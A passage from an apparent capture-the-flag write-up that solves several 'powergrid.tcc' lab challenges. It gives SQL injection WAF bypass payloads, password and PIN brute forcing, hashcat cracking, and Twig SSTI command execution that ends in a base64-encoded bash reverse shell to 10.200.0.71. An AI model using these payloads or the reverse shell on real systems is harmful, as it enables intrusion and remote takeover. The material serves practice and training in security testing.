        openssl aes-256-cbc -d -a -pbkdf2 -in stream.b64 -iter 10 -out out2.tst -pass pass:$pin 2>/dev/null
        if [ $? -eq 0 ]; then
            echo Candidate PIN: $pin
            mv out.tst sus/shadow_$pin.txt
            mv out2.tst sus/all_$pin.tgz
        fi
    fi
done
6. Dig through /var/www/; you will find that backup.php allows you to exfiltrate flag.txt and encrypt it with the apache2 admin password. 7. After getting the file, find the SSL private key of the server. 8. Import into Wireshark and decrypt SSL/TLS communication. 9. Find the query for backup.enc and save its data to a file.
hashcat -m 500 etc/apache2/.htpasswd ../experiments/rockyou.txt --username
11. Use the cracked key to decrypt backup.enc.

Single Sign-on

$ curl http://login.powergrid.tcc:8080

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://intranet.powergrid.tcc:8080/">here</a>.</p>
</body></html>
Redirect to http://intranet.powergrid.tcc:8080/. Does not exist in DNS. Must be added to /etc/hosts. Then trivial SQL Injection on Username: ' OR 1=1;-.

I did not get what the implementation of it was (the WAF rule and maybe a detection of SQLi).

These were blocked (403).

password=admin'+OR+1=1;--
But these worked.
password=admin'+OR+1;\#
password=admin'+OR+1;-
password=admin'+OR+1=1;-
Especially the single dash is a mystery why this "works".

Hint: A WAF was probably just added in front of the old system.

I do not know what that meant.

I think I know what a bypass could be: one part of the payload in one parameter and the other part in the second one:

login=admin'+OR+'a'=/*&password=*/'a
If it was all in one, it would be blocked by 403 again:
login=admin'+OR+'a'=/**/'a&password=

Another bypass:

login=admin'--x&password=password
While without "x", it would be blocked:
login=admin'--&password=password


Role Management System

Enumeration

User

We know from the hint that we will need bruteforce. I put the login request with username ella.reed@powergrid.tcc into Burp Intruder with 500 worst passwords wordlist and found the password 123abc.

We have access to the admin dashboard: http://idm-new.powergrid.tcc/admin/ ella.reed@powergrid.tcc:123abc.

Dashboard

In the admin dashboard, you see the following options:

You have administrative privileges. You can: Manage users and assign roles <--- Function for adding/removing roles does not seem to do anything. View and audit access logs <--- This might be interesting if we should bruteforce files where logs are. Configure AD/LDAP integrations <--- ??

This is very misleading, but we learned that during authenticated dirb/forced browsing, we need to exclude logout, e.g., --dont-scan logout:

feroxbuster --smart --url=http://idm-new.powergrid.tcc/admin/ -v --wordlist=/usr/share/seclists/Discovery/Web-Content/combined_words.txt -b PHPSESSID=e5569685f7586312e2ef225388477b38 --no-recursion -o ferox.txt --dont-scan logout

http://idm-new.powergrid.tcc/user/ shows a search box that reacts to special characters _ and %, which is a feature, and it goes to the SQL LIKE part; however, the rest of the characters are probably filtered, and it is not SQL injection.

SSTI

${{<%[%'"}}%\

We can see the alert No users found for query: Unexpected character "'" in "__string_template__1f7aaea6db6588bde5f0ed4d6fff1216" at line 1.

"Template" -> SSTI Confirmed.

When we follow PortSwigger, {{7*7}} yields 49. - We know that it's PHP from the header X-Powered-By: PHP/8.2.29. - Most probably, it is Twig https://twig.symfony.com/doc/3.x/. So ['cmd']|filter('system') applies the 'system()' function to each element of the array, thus executing 'cmd'.

The FLAG could be obtained via {{['env']|filter('system')}}.

SSTI Reverse Shell

{{['echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDAuMC43MS84MDgwIDA+JjEnCg== > /tmp/r.sh']|filter('system')}}
{{['base64 -d /tmp/r.sh > /tmp/s.sh']|filter('system')}}
{{['bash /tmp/s.sh']|filter('system')}}

Same as above, the flag can be obtained via the env command.

Written by Threat Management MU, zombie - 12-11-2025